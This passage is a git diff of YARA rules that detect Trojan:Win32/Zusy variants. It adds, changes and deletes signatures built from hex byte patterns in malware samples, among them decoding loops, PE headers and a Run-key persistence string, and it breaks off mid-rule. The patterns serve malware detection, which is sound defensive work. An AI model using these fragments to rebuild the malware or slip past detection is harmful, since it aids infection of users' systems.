0000000000..65268cf12b --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GDF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_GDF_MTB{ + meta: + description = "Trojan:Win32/Zusy.GDF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {8b 45 f0 01 d0 0f b6 00 01 c8 0f b6 c0 0f b6 8c 05 ?? ?? ?? ?? 8b 55 08 8b 45 ec 01 d0 31 cb 89 da 88 10 83 45 ec 01 8b 45 ec 3b 45 0c 0f 82 } //10 + $a_03_1 = {89 e5 83 ec 14 8b 45 10 88 45 ec c7 45 fc 00 00 00 00 ?? ?? 8b 55 08 8b 45 fc 01 d0 0f b6 00 8b 4d 08 8b 55 fc 01 ca 32 45 ec 88 02 83 45 fc 01 8b 45 fc 3b 45 0c } //10 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTM_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTM_MTB.yar index 393e0cdc11..1275e65fc7 100644 --- a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTM_MTB.yar +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTM_MTB.yar @@ -14,6 +14,17 @@ rule Trojan_Win32_Zusy_GTM_MTB_2{ meta: description = "Trojan:Win32/Zusy.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + strings : + $a_03_0 = {0f be 14 10 33 ca 8b 85 ?? ?? ?? ?? 03 45 f8 88 08 } //5 + $a_01_1 = {03 45 f8 0f be 08 8b 55 f8 81 e2 07 00 00 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*5) >=10 + +} +rule Trojan_Win32_Zusy_GTM_MTB_3{ + meta: + description = "Trojan:Win32/Zusy.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + strings : $a_03_0 = {0f b6 4c 05 ?? 8d 34 71 33 75 ?? 40 83 f8 } //5 $a_03_1 = {8a 44 0d d4 32 04 3a 32 c2 41 83 f9 ?? 88 04 3a ?? ?? 33 c9 42 3b d6 } //5 diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTT_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTT_MTB.yar deleted file mode 100644 index 95015bb897..0000000000 --- a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_GTT_MTB.yar +++ /dev/null @@ -1,13 +0,0 @@ - -rule Trojan_Win32_Zusy_GTT_MTB{ - meta: - description = "Trojan:Win32/Zusy.GTT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 00 " - - strings : - $a_03_0 = {57 3f 03 6e ?? 5b 91 8c 4f ?? 4f 3c ?? 24 ?? 14 ?? 4a 31 de } //5 - $a_03_1 = {ec 5f 94 2f 84 56 ?? 09 3e cc 8b 44 ba c7 } //5 - $a_01_2 = {5c 4b 73 5c 42 4c 41 43 4b 5c } //1 \Ks\BLACK\ - condition: - ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5+(#a_01_2 & 1)*1) >=11 - -} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HBD_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HBD_MTB.yar new file mode 100644 index 0000000000..548f122c92 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HBD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_HBD_MTB{ + meta: + description = "Trojan:Win32/Zusy.HBD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {ff 74 24 10 ff 74 24 10 83 04 24 05 ?? ?? ?? ?? ?? 8f 44 24 28 8f 44 24 28 ff 74 24 08 ff 74 24 08 8d 44 24 2c 8b 10 29 14 24 8b 50 04 19 54 24 04 8f 44 24 30 8f 44 24 30 ff 74 24 30 ff 74 24 30 5b 5f 83 ff 00 7f 0b 7c 05 83 fb 05 77 04 ?? c0 eb 05 } //10 + $a_01_1 = {89 44 24 34 8b 44 24 2c 50 ff 74 24 38 ff 74 24 08 } //1 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HBE_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HBE_MTB.yar new file mode 100644 index 0000000000..8e64035115 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HBE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_HBE_MTB{ + meta: + description = "Trojan:Win32/Zusy.HBE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {e8 05 00 00 00 e9 ?? ?? ?? ?? 83 c0 0f 8b 3c 24 29 c7 01 fb e8 4a 00 00 00 85 c0 75 01 c3 89 c1 51 be ?? ?? ?? ?? 01 fe ff 16 85 c0 75 0b e8 3c 00 00 00 85 c0 75 f7 eb db 89 c1 e8 23 00 00 00 85 c0 74 d0 50 51 be ?? ?? ?? ?? 01 fe ff 16 89 c6 e8 0d 00 00 00 85 c0 75 01 c3 85 f6 74 02 89 30 eb d6 e8 07 00 00 00 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HC_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HC_MTB.yar new file mode 100644 index 0000000000..cb693dc7a9 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_HC_MTB{ + meta: + description = "Trojan:Win32/Zusy.HC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {50 45 00 00 4c 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2e 74 65 78 74 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2e 67 66 63 64 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 02 00 00 00 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HE_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HE_MTB.yar new file mode 100644 index 0000000000..a5a5e20564 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Zusy_HE_MTB{ + meta: + description = "Trojan:Win32/Zusy.HE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,3c 00 3c 00 02 00 00 " + + strings : + $a_00_0 = {00 70 61 79 6c 6f 61 64 2e 65 78 65 00 } //10 + $a_03_1 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e [0-15] 00 6f 70 65 6e 00 00 90 04 ff 0b 61 2d 7a 41 2d 5a 30 2d 39 2b 2f } //50 + condition: + ((#a_00_0 & 1)*10+(#a_03_1 & 1)*50) >=60 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HNT_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HNT_MTB.yar new file mode 100644 index 0000000000..52d672c8ac --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_HNT_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_Zusy_HNT_MTB{ + meta: + description = "Trojan:Win32/Zusy.HNT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_03_0 = {ec 5c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 90 09 13 00 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ff 55 8b ec 81 } //5 + $a_03_1 = {ec 5c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 90 09 13 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 e9 ?? ?? ?? ff 55 8b ec 81 } //5 + $a_03_2 = {ff c3 8b ec 81 ec 5c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 90 09 0e 00 68 ?? ?? ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ff } //5 + $a_03_3 = {55 8b ec 81 ec 5c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 c7 45 f4 00 00 00 00 90 09 0f 00 68 ?? ?? ?? ?? e8 ?? 00 00 00 e9 } //5 + $a_03_4 = {e8 05 00 00 00 e9 ?? ?? ?? ?? 55 8b ec 81 ec 5c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 00 00 00 00 } //5 + $a_03_5 = {55 8b ec 81 ec 5c 00 00 00 c7 45 fc 00 00 00 00 c7 45 f8 00 00 00 00 c7 45 f4 00 00 00 00 c7 45 f0 90 09 0f 00 68 ?? ?? ?? ?? 90 90 ?? ?? ?? ?? e9 ?? ?? ?? ?? 55 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5+(#a_03_2 & 1)*5+(#a_03_3 & 1)*5+(#a_03_4 & 1)*5+(#a_03_5 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_KKA_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_KKA_MTB.yar new file mode 100644 index 0000000000..d75311e1c3 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_KKA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_KKA_MTB{ + meta: + description = "Trojan:Win32/Zusy.KKA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 00 " + + strings : + $a_03_0 = {83 ec 18 c7 44 24 0c 60 1a 40 00 c7 44 24 08 64 00 00 00 c7 44 24 04 01 00 00 00 c7 04 24 00 00 00 00 e8 ?? ?? ?? ?? 83 ec 10 89 c7 c7 44 24 0c a0 19 40 00 c7 44 24 08 64 00 00 00 c7 44 24 04 02 00 00 00 c7 04 24 00 00 00 00 e8 ?? ?? ?? ?? 83 ec 10 89 85 3c f9 ff ff c7 44 24 0c 8c 18 40 00 c7 44 24 08 64 00 00 00 c7 44 24 04 03 00 00 00 c7 04 24 00 00 00 00 e8 ?? ?? ?? ?? 83 ec 10 89 85 40 f9 ff ff c7 44 24 0c c4 17 40 00 c7 44 24 08 64 00 00 00 c7 44 24 04 04 00 00 00 c7 04 24 00 00 00 00 e8 } //10 + $a_01_1 = {c7 44 24 14 00 00 00 00 c7 44 24 10 00 00 00 00 89 5c 24 0c c7 44 24 08 24 40 40 00 c7 44 24 04 34 40 40 00 c7 04 24 00 00 00 00 e8 } //4 + $a_01_2 = {6c 69 62 67 63 6a 5f 73 2e 64 6c 6c } //6 libgcj_s.dll + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*4+(#a_01_2 & 1)*6) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMA_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMA_MTB.yar new file mode 100644 index 0000000000..6c18e4bd31 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_Zusy_LMA_MTB{ + meta: + description = "Trojan:Win32/Zusy.LMA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_03_0 = {83 e1 04 33 c2 03 f9 6a 00 6a 02 89 3d ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 d1 8b 44 24 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ca 0c 50 c0 ea 02 81 e2 ff 00 00 00 89 54 24 0c db 44 24 0c } //2 + $a_01_1 = {50 64 89 25 00 00 00 00 83 ec 1c 53 56 57 89 65 e8 9b 33 ff 89 7d fc } //1 + $a_01_2 = {40 4e e6 40 bb fe ff ff ff 7b } //1 + $a_03_3 = {6a 00 6a 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff d0 ff d7 48 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_03_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LME_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LME_MTB.yar new file mode 100644 index 0000000000..af049afbeb --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LME_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_LME_MTB{ + meta: + description = "Trojan:Win32/Zusy.LME!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_03_0 = {c7 45 a4 8a a5 08 00 bb e3 14 00 00 c7 45 c4 9f 0a 00 00 89 65 fc 81 45 fc 64 02 00 00 89 6d f8 81 45 f8 c0 01 00 00 8d 0d 68 a6 48 00 8b 41 f0 89 45 f4 8b 41 ec 89 45 f0 c7 45 d8 c0 70 2c 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8b 0d 68 a6 48 00 b2 01 } //20 + $a_01_1 = {33 c0 89 43 60 33 c0 89 83 84 00 00 00 c7 43 5c 18 00 00 ff c7 43 78 f4 01 00 00 c6 43 7c 01 33 c0 89 83 80 00 00 00 c7 43 74 c4 09 00 00 c6 83 88 00 00 00 00 c6 83 9d 00 00 00 01 c6 83 b4 00 00 00 01 b2 01 a1 } //10 + $a_01_2 = {71 65 74 77 65 74 72 71 77 65 72 } //5 qetwetrqwer + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*10+(#a_01_2 & 1)*5) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMF_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMF_MTB.yar new file mode 100644 index 0000000000..383528bef3 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMF_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_LMF_MTB{ + meta: + description = "Trojan:Win32/Zusy.LMF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_03_0 = {33 c0 8b 55 ec 01 13 8b 75 d4 03 75 a4 03 75 ec 03 f0 bf 89 15 00 00 6a 00 e8 ?? ?? ?? ?? 03 fe 81 ef 89 15 00 00 2b f8 6a 00 e8 ?? ?? ?? ?? 2b f8 31 3b 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc } //20 + $a_01_1 = {40 00 50 d2 40 00 d0 d0 40 00 bc da 40 00 8c da 40 00 34 35 41 00 bc 34 41 00 f8 36 41 00 c8 36 41 00 e0 3e 41 00 90 3e 41 00 78 d6 41 00 c8 d5 41 00 60 4c 42 00 30 4c } //10 + $a_03_2 = {ff 45 ec 81 7d ec 2c 8c 74 15 75 ?? c7 45 a4 8a a5 08 00 bb e3 14 00 00 c7 45 c4 9f 0a 00 00 89 65 fc 81 45 fc 64 02 00 00 89 6d f8 81 45 f8 c0 01 00 00 8d 0d 68 56 45 00 8b 41 f0 89 45 f4 8b 41 ec 89 45 f0 c7 45 d8 c0 70 2c 00 } //5 + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*10+(#a_03_2 & 1)*5) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMG_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMG_MTB.yar new file mode 100644 index 0000000000..b8f72b1474 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_LMG_MTB{ + meta: + description = "Trojan:Win32/Zusy.LMG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_01_0 = {ff 55 10 8b 4f 54 8b 75 08 8b d1 c1 e9 02 8b f8 f3 a5 8b ca 83 e1 03 f3 a4 8b 4d 08 8b 51 3c 8b 75 f8 } //15 + $a_01_1 = {8b 3c 33 8b c7 83 e0 0f c1 e0 0b 8b cf 81 e1 00 04 00 00 03 c1 8b cf c1 e9 14 81 e1 00 07 00 00 8d 34 41 89 7c 24 14 0f b6 44 24 16 } //10 + $a_01_2 = {8b c6 25 00 07 00 00 c1 e0 04 8b ce 81 e1 ff 00 00 00 03 c1 8b ce d1 e9 c1 e0 10 81 e1 00 04 00 00 c1 ee 0c 03 c1 83 e6 0f 03 c6 81 e7 f0 fb 00 8f 03 c7 89 03 } //5 + condition: + ((#a_01_0 & 1)*15+(#a_01_1 & 1)*10+(#a_01_2 & 1)*5) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMH_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMH_MTB.yar new file mode 100644 index 0000000000..a19d703646 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LMH_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_LMH_MTB{ + meta: + description = "Trojan:Win32/Zusy.LMH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_01_0 = {89 c2 89 d0 c1 f8 1f c1 e8 18 01 c2 0f b6 d2 29 c2 89 d0 88 45 a3 8d 85 7c fd ff ff 8d 55 a3 89 14 24 c7 85 e8 fb ff ff 04 00 00 00 89 c1 } //20 + $a_03_1 = {8d 85 64 fd ff ff c7 44 24 ?? ?? ?? ?? ?? 8d 55 a4 89 54 24 04 89 04 24 c7 85 e8 fb ff ff 06 00 00 00 } //10 + $a_01_2 = {89 c2 89 d0 c1 f8 1f c1 e8 18 01 c2 0f b6 d2 29 c2 89 d0 88 85 e0 fb ff ff 8b 55 dc 8d 85 7c fd ff ff 89 14 24 89 c1 } //5 + condition: + ((#a_01_0 & 1)*20+(#a_03_1 & 1)*10+(#a_01_2 & 1)*5) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LM_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LM_MTB.yar new file mode 100644 index 0000000000..bac29c8439 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_LM_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_Zusy_LM_MTB{ + meta: + description = "Trojan:Win32/Zusy.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {03 c5 81 c0 4c 00 00 00 b9 da 05 00 00 ba 85 3c de 9f 30 10 40 49 } //2 + $a_01_1 = {b0 c0 bc 40 0b b0 c0 bc 8b 00 97 37 37 37 34 c9 ba 69 37 a1 bc 47 0b a1 bc b3 07 03 37 37 37 1c ef bc 60 37 b0 ce bc 4e 33 b0 ce } //1 + $a_01_2 = {00 dc 02 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 30 15 00 00 66 00 00 00 dc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} +rule Trojan_Win32_Zusy_LM_MTB_2{ + meta: + description = "Trojan:Win32/Zusy.LM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {8b 55 f0 8b 45 f4 01 d0 0f b6 00 89 c2 8b 45 e8 89 d1 31 c1 8b 55 f0 8b 45 f4 01 d0 89 ca 88 10 } //2 + $a_01_1 = {8b 55 d8 89 d0 c1 e0 02 01 d0 c1 e0 03 89 c2 8b 45 c8 01 d0 8b 40 08 8d 95 7c ff ff ff 89 54 24 0c 8b 55 d4 89 54 24 08 89 44 24 04 8b 45 a4 89 04 24 a1 74 20 40 00 ff d0 83 ec 10 } //1 + $a_03_2 = {8b 55 f0 89 d0 c1 e0 02 01 d0 c1 e0 03 89 c2 8b 45 e0 01 d0 89 c2 8d 45 d4 89 44 24 04 89 14 24 e8 ?? ?? ?? ?? 85 c0 75 ?? 8b 55 f0 89 d0 c1 e0 02 01 d0 c1 e0 03 89 c2 8b 45 e0 01 d0 8b 50 0c 8b 45 ec 01 d0 89 45 f4 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MBWM_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MBWM_MTB.yar new file mode 100644 index 0000000000..250587393b --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MBWM_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_MBWM_MTB{ + meta: + description = "Trojan:Win32/Zusy.MBWM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {2e 72 64 61 74 61 00 00 8e 9d 01 00 00 c0 0d 00 00 a0 01 00 00 c0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 0a 05 05 00 00 60 0f 00 00 80 01 00 00 60 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 5d 00 00 00 70 14 00 00 60 00 00 00 e0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 } //2 + $a_01_1 = {2e 74 65 78 74 00 00 00 e6 a6 0d 00 00 10 00 00 00 b0 0d 00 00 10 } //2 + $a_01_2 = {33 c0 c3 90 85 db 75 03 33 c0 c3 8b cb f7 c1 03 00 00 00 74 0f 8a 01 41 84 c0 74 3b f7 c1 03 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MBWN_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MBWN_MTB.yar new file mode 100644 index 0000000000..199f776fec --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MBWN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Zusy_MBWN_MTB{ + meta: + description = "Trojan:Win32/Zusy.MBWN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {74 65 78 74 00 00 00 06 9c 0d 00 00 10 00 00 00 a0 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 9d 01 00 00 b0 0d 00 00 a0 01 00 00 b0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 0a 05 05 00 00 50 0f 00 00 80 01 00 00 50 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9a 18 00 00 00 60 14 00 00 20 00 00 00 d0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MCF_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MCF_MTB.yar new file mode 100644 index 0000000000..becd096547 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MCF_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Zusy_MCF_MTB{ + meta: + description = "Trojan:Win32/Zusy.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {00 c2 d3 29 00 40 cf 27 00 2e d0 2d 00 4a cf 27 00 2e d0 23 00 43 cf 27 00 77 e9 2c 00 42 cf 27 00 77 e9 23 00 42 cf 27 00 41 cf 26 00 2c cf 27 00 a9 d0 2c 00 42 } //1 + $a_01_1 = {74 53 6e 61 63 75 6f 54 20 65 76 6f 6c 20 49 50 45 00 00 4c 01 04 00 f4 68 d2 50 } //1 + $a_01_2 = {40 00 00 40 2e 64 61 74 61 00 00 00 34 25 01 00 00 30 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MR_MTB.yar b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MR_MTB.yar new file mode 100644 index 0000000000..a4201aba75 --- /dev/null +++ b/Trojan/Win32/Zusy/Trojan_Win32_Zusy_MR_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_Zusy_MR_MTB{ + meta: + description = "Trojan:Win32/Zusy.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 02 00 00 " + + strings : + $a_01_0 = {8b ec 83 c4 b0 8b 45 10 40 8a 10 80 fa 20 } //25 + $a_01_1 = {68 fa 00 00 00 68 29 30 40 00 6a ff 68 23 31 40 00 6a 00 6a 00 } //10 + condition: + ((#a_01_0 & 1)*25+(#a_01_1 & 1)*10) >=35 + +} +rule Trojan_Win32_Zusy_MR_MTB_2{ + meta: + description = "Trojan:Win32/Zusy.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,37 00 37 00 04 00 00 " + + strings : + $a_01_0 = {36 34 41 31 33 30 30 30 30 30 30 30 38 42 34 30 31 30 38 42 34 30 33 43 38 39 34 34 32 34 30 34 43 39 43 33 } //5 64A1300000008B40108B403C89442404C9C3 + $a_01_1 = {8d 85 5c ff ff ff 50 8d 85 60 ff ff ff 50 8d 85 64 ff ff ff 50 8d 85 68 ff ff ff 50 8d 85 6c ff ff ff 50 8d 45 c0 50 8b 45 08 8b 00 ff } //15 + $a_01_2 = {89 45 84 c7 45 a4 02 00 00 00 c7 45 9c 02 00 00 00 c7 45 b4 34 63 40 00 c7 45 ac 08 00 00 00 8d 45 c0 } //10 + $a_01_3 = {8b 45 e4 8b 00 99 2b c2 d1 f8 8b 55 